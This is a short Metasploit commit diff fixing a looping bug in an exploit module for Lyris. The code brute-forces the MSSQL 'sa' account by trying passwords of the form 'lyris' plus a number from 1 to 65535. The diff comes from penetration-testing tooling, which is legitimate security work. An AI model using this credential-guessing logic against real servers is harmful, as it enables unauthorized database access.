Fix a looping issue with the new lyris module

git-svn-id: file:///home/svn/framework3/trunk@7199 4d416f70-5f16-0410-b530-b9f4589650da
unstable
HD Moore 2009-10-18 21:51:45 +00:00
parent 36fee594ba
commit 45280f85a5
1 changed files with 2 additions and 5 deletions

View File

@ -61,7 +61,7 @@ class Metasploit3 < Msf::Exploit::Remote
1.upto(65535) do |pid|
if(pid % 1000 == 0)
print_status("Completed #{pid}/65535 authentication requests")
print_status(" >> Completed #{pid} of 65535 authentication requests")
end
if(mssql_login('sa', "lyris#{pid}"))
@ -69,12 +69,9 @@ class Metasploit3 < Msf::Exploit::Remote
break
end
end
end
if(not pass)
print_status("This system does not appear to be exploitable")
return
end
end
print_status("")
print_status("Sucessfully authenticated to #{rhost}:#{rport} with user 'sa' and password '#{pass}'")